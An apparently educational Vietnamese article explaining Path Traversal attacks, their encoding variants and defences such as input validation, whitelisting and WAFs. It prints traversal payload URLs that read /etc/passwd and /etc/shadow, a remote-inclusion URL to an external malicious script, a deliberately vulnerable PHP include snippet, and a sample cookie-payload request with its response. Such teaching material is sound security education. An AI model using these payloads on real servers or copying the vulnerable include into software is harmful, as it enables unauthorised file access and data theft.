Trong lĩnh vực an ninh mạng, tấn công Path Traversal đóng một vai trò quan trọng, được xem là một trong những phương thức tấn công cơ bản nhưng vô cùng nguy hiểm. Tấn công Path Traversal, còn được biết đến dưới cái tên “Directory Traversal”, là một kỹ thuật cho phép kẻ tấn công truy cập vào các file hoặc thư mục nằm ngoài thư mục gốc của web server. Qua đó, họ có thể đọc hoặc thực thi các file mà không được phép truy cập theo bình thường. Điều này xảy ra khi một ứng dụng web không kiểm soát chặt chẽ các đầu vào từ người dùng, cho phép nhập vào các đường dẫn tệp tin không an toàn.
Hiểu rõ về tấn công Path Traversal không chỉ giúp lập trình viên và quản trị viên hệ thống nhận diện và phòng tránh nguy cơ từ loại tấn công này, mà còn là bước đầu tiên trong việc xây dựng các hệ thống an toàn và đáng tin cậy hơn. Đối với các chuyên gia an ninh mạng, việc nắm vững cách thức hoạt động của Path Traversal là yếu tố then chốt để đánh giá và củng cố các biện pháp bảo mật, đặc biệt trong bối cảnh mà các ứng dụng web ngày càng trở nên phức tạp và rộng lớn.
Tấn công Path Traversal cũng giúp chúng ta hiểu rõ hơn về tầm quan trọng của việc xử lý đầu vào từ người dùng một cách cẩn thận. Khi các đầu vào không được kiểm soát hoặc lọc lọc kỹ càng, chúng trở thành điểm yếu lớn, mở cửa cho nhiều loại tấn công khác nhau. Do đó, việc tìm hiểu kỹ lưỡng về Path Traversal không chỉ là một phần của việc bảo vệ chống lại loại tấn công cụ thể này, mà còn là một phần của quá trình học hỏi và áp dụng các phương pháp bảo mật tốt nhất trong phát triển và quản lý hệ thống.
Nguyên lý cơ bản của Path Traversal
Tấn công Path Traversal dựa trên việc khai thác các lỗ hổng bảo mật trong cách mà một ứng dụng web xử lý các yêu cầu đến các file hoặc thư mục trên máy chủ. Khi một ứng dụng không kiểm tra hoặc không hạn chế đúng cách đối với các đường dẫn file được cung cấp bởi người dùng, kẻ tấn công có thể sử dụng cơ hội này để truy cập trái phép vào các tệp và thư mục nằm ngoài thư mục gốc dự kiến của ứng dụng.
Cách tấn công hoạt động:
Trong tấn công Path Traversal, kẻ tấn công thường sử dụng các URL đã được sửa đổi để chỉ đến một đường dẫn file trên hệ thống máy chủ. Điều này thường được thực hiện thông qua việc thêm các chuỗi như “../” (chuyển lên một thư mục trong hệ thống file) vào đường dẫn URL. Nếu hệ thống không đủ bảo mật, việc này cho phép truy cập đến các file nằm ngoài thư mục web root, gây ra rủi ro bảo mật nghiêm trọng.
Các thành phần chính của tấn công:
- URL: Đây là điểm bắt đầu của tấn công. Kẻ tấn công cố gắng thay đổi URL để bao gồm các chuỗi đường dẫn mà thông thường không được cho phép.
- Hệ thống File: Hệ thống file của máy chủ là mục tiêu cuối cùng của tấn công. Mục đích của kẻ tấn công là truy cập vào các file hệ thống, cấu hình, hoặc dữ liệu nhạy cảm mà không được phép truy cập thông qua giao diện web bình thường.
- Kỹ thuật Bypass: Để thành công, kẻ tấn công thường sử dụng các kỹ thuật bypass như mã hóa URL, sử dụng các đường dẫn tương đối phức tạp, hoặc thậm chí là tận dụng các lỗ hổng bảo mật khác trên hệ thống để vượt qua các biện pháp kiểm soát an ninh.
Hiểu rõ về cách thức hoạt động của tấn công Path Traversal và các thành phần liên quan giúp xác định các điểm yếu tiềm ẩn trong ứng dụng và hệ thống. Điều này không chỉ là nền tảng cho việc phát triển các biện pháp bảo mật hiệu quả hơn mà còn giúp xây dựng một hệ thống an toàn hơn trước những mối đe dọa tương tự.
Ví dụ về Path Traversal
Để hiểu rõ hơn về cách thức và hậu quả của tấn công Path Traversal, chúng ta hãy xem xét một số ví dụ minh họa.
Ví dụ 1: Truy cập File Cấu Hình Hệ Thống
Giả sử một website cho phép người dùng tải xuống file thông qua URL như sau: http://example.com/download.php?file=report.pdf. Trong trường hợp bình thường, người dùng chỉ có thể tải xuống các file được phép như “report.pdf”. Tuy nhiên, một kẻ tấn công có thể sửa đổi URL thành http://example.com/download.php?file=../../etc/passwd để cố gắng truy cập vào file cấu hình hệ thống. Nếu hệ thống không được bảo vệ đúng cách, họ có thể truy cập và tải xuống file này, gây nguy hiểm về mất an toàn thông tin.
Ví dụ 2: Thực thi Script Độc Hại
Trong một trường hợp khác, một trang web có chức năng xem ảnh từ đường dẫn được cung cấp: http://example.com/image-viewer.php?image=photo.jpg. Kẻ tấn công có thể thay đổi URL thành http://example.com/image-viewer.php?image=../../script.php để thực thi một script PHP độc hại nằm ngoài thư mục web. Nếu script này được thực thi, nó có thể làm lộ dữ liệu nhạy cảm, hoặc thậm chí làm hại đến hệ thống máy chủ.
Phân tích cách thức thực hiện và hậu quả:
Trong cả hai ví dụ trên, kẻ tấn công sử dụng “../” để “leo” lên các thư mục cao hơn trong hệ thống file, tìm cách truy cập vào những tệp tin không được phép. Hậu quả của những tấn công này có thể vô cùng nghiêm trọng: từ việc lộ lọt thông tin nhạy cảm, đánh cắp dữ liệu người dùng, cho đến việc thực thi mã độc hại và làm suy yếu an ninh của toàn bộ hệ thống.
Những ví dụ này cho thấy tầm quan trọng của việc kiểm soát và xác thực các đầu vào đường dẫn một cách cẩn thận. Chúng không chỉ minh họa cách thức hoạt động của tấn công Path Traversal mà còn là cảnh báo về những hậu quả nghiêm trọng nếu hệ thống không được bảo vệ một cách đầy đủ.
Các biến thể của Path Traversal
Tấn công Path Traversal không chỉ giới hạn ở việc sử dụng đơn giản các chuỗi “../” để leo lên hệ thống file. Có nhiều kỹ thuật và biến thể khác nhau được kẻ tấn công sử dụng để vượt qua các biện pháp bảo mật và lọc đầu vào, mỗi loại có độ hiệu quả và khả năng bị phát hiện khác nhau.
- Absolute Path Traversal
Trong biến thể này, kẻ tấn công sử dụng đường dẫn tuyệt đối thay vì đường dẫn tương đối. Ví dụ, thay vì sử dụng “../”, họ có thể cố gắng truy cập trực tiếp đến file như “/etc/passwd”. Phương pháp này có thể hiệu quả trong trường hợp hệ thống không kiểm tra hoặc hạn chế đường dẫn tuyệt đối.
- Unicode Encoding
Kẻ tấn công có thể mã hóa các đường dẫn sử dụng Unicode để tránh các bộ lọc đơn giản. Chẳng hạn, chuỗi “../” có thể được mã hóa thành “%2E%2E%2F”. Phương pháp này thường hiệu quả khi ứng dụng không chuyển đổi hoặc giải mã các ký tự Unicode trước khi xử lý chúng.
- Overlong UTF-8 Encoding
Biến thể này sử dụng một đặc tính của UTF-8, cho phép biểu diễn các ký tự ASCII đơn giản thông qua nhiều byte. Điều này có thể giúp tránh qua các bộ lọc không xử lý đúng cách chuỗi UTF-8.
- Double Encoding
Trong trường hợp này, chuỗi đường dẫn được mã hóa hai lần. Ví dụ, “../” sẽ trở thành “%252E%252E%252F” sau khi mã hóa hai lần. Nếu hệ thống chỉ giải mã một lần, chuỗi này sẽ trở lại dạng mã hóa đơn, làm mất hiệu quả của bộ lọc.
So sánh các biến thể
- Độ hiệu quả: Các kỹ thuật như Double Encoding và Unicode Encoding thường khó phát hiện hơn và có thể vượt qua các bộ lọc đơn giản. Tuy nhiên, việc sử dụng đường dẫn tuyệt đối có thể dễ dàng phát hiện hơn do tính minh bạch.
- Khả năng bị phát hiện: Biến thể như Overlong UTF-8 Encoding có khả năng bị phát hiện thấp hơn do sự tinh vi trong cách mã hóa. Tuy nhiên, các hệ thống bảo mật hiện đại và công cụ lọc nâng cao có thể phát hiện và chặn đứng nhiều trong số các kỹ thuật này.
Phòng chống tấn công Path Traversal
Để bảo vệ hệ thống và ứng dụng web khỏi tấn công Path Traversal, cần áp dụng một loạt các chiến lược và thực hành tốt nhất. Các biện pháp này không chỉ giúp phát hiện và ngăn chặn tấn công mà còn tăng cường an ninh tổng thể của hệ thống.
Chiến lược và Thực Hành Tốt Nhất:
- Xác thực Đầu Vào: Một trong những cách hiệu quả nhất để ngăn chặn tấn công Path Traversal là xác thực đầu vào một cách nghiêm ngặt. Điều này bao gồm việc hạn chế người dùng chỉ có thể nhập các đường dẫn hoặc tên file cụ thể và loại bỏ hoặc thay thế các ký tự đặc biệt như “../” hay “/”.
- Sử dụng Thư Mục Ảo và Các Cơ Chế Cách Ly: Tạo ra các thư mục ảo và cách ly chúng khỏi phần còn lại của hệ thống file, đảm bảo rằng người dùng chỉ có thể truy cập vào các tài nguyên được phép.
- Áp dụng Whitelisting Thay vì Blacklisting: Kỹ thuật whitelist cho phép chỉ những tệp tin cụ thể được truy cập, giảm thiểu rủi ro do đoán mò và thử nghiệm từ phía kẻ tấn công.
Công nghệ và Công Cụ Hỗ Trợ:
- Firewall Ứng Dụng Web (WAF): Các WAF hiện đại có thể được cấu hình để phát hiện và chặn các yêu cầu có khả năng là tấn công Path Traversal. Chúng thường sử dụng các quy tắc dựa trên mẫu để xác định các yêu cầu đáng ngờ.
- Công cụ Quét Bảo Mật: Sử dụng công cụ quét bảo mật để xác định và báo cáo các lỗ hổng có thể dẫn đến tấn công Path Traversal. Điều này giúp nhận diện và sửa chữa các điểm yếu trước khi chúng trở thành mối đe dọa.
- Cập Nhật và Bảo Trì Hệ Thống: Đảm bảo rằng tất cả các phần mềm, đặc biệt là hệ thống quản lý nội dung và các framework, luôn được cập nhật. Các bản cập nhật thường chứa các bản vá cho lỗ hổng bảo mật.
Các ví dụ về Path Traversal
Ví dụ 1
Các ví dụ sau đây cho thấy ứng dụng xử lý như thế nào với các tài nguyên đang được sử dụng.
http://some_site.com.br/get-files.jsp?file=report.pdf http://some_site.com.br/get-page.php?home=aaa.html http://some_site.com.br/some-page.asp?page=index.html
Trong các ví dụ này, có thể chèn một chuỗi độc hại làm tham số biến để truy cập các tệp nằm bên ngoài thư mục xuất bản web.
http://some_site.com.br/get-files?file=../../../../some dir/some file http://some_site.com.br/../../../../some dir/some file
Các URL sau đây hiển thị các ví dụ về khai thác tệp mật khẩu * NIX.
http://some_site.com.br/../../../../etc/shadow http://some_site.com.br/get-files?file=/etc/passwd
Lưu ý: Trong hệ thống Windows, kẻ tấn công chỉ có thể điều hướng trong một phân vùng định vị web gốc trong khi trong Linux, chúng có thể điều hướng trong toàn bộ đĩa.
Ví dụ 2
Cũng có thể bao gồm các tệp và tập lệnh nằm trên trang web bên ngoài.
http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php
Ví dụ 3
Những ví dụ này minh họa một trường hợp khi kẻ tấn công làm cho máy chủ hiển thị mã nguồn CGI.
http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi
Ví dụ 4
Ví dụ này được trích xuất từ: Wikipedia – Truyền tải thư mục
Một ví dụ điển hình về mã ứng dụng dễ bị tấn công là:
<?php $template = 'blue.php'; if ( is_set( $_COOKIE['TEMPLATE'] ) ) $template = $_COOKIE['TEMPLATE']; include ( "/home/users/phpguru/templates/" . $template ); ?>
Một cuộc tấn công chống lại hệ thống này có thể là gửi yêu cầu HTTP sau:
GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwd
Tạo phản hồi của máy chủ, chẳng hạn như:
HTTP/1.0 200 OK Content-Type: text/html Server: Apache root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh daemon:*:1:1::/tmp: phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
Các ký tự ../ lặp lại sau / home / users / phpguru / templates / đã khiến bao gồm () đi qua thư mục gốc và sau đó bao gồm tệp mật khẩu UNIX / etc / passwd.
UNIX etc / passwd là một tệp phổ biến được sử dụng để chứng minh khả năng duyệt thư mục, vì nó thường được những kẻ bẻ khóa sử dụng để thử bẻ khóa mật khẩu.
Truyền tải đường dẫn tuyệt đối
Các URL sau có thể dễ bị tấn công này:
http://testsite.com/get.php?f=list http://testsite.com/get.cgi?f=2 http://testsite.com/get.asp?f=test
Kẻ tấn công có thể thực hiện cuộc tấn công này như sau:
http://testsite.com/get.php?f=/var/www/html/get.php http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc http://testsite.com/get.asp?f=/etc/passwd
Khi máy chủ web trả về thông tin về các lỗi trong ứng dụng web, kẻ tấn công sẽ dễ dàng đoán đúng vị trí hơn nhiều (ví dụ: đường dẫn đến tệp có mã nguồn, sau đó có thể được hiển thị).
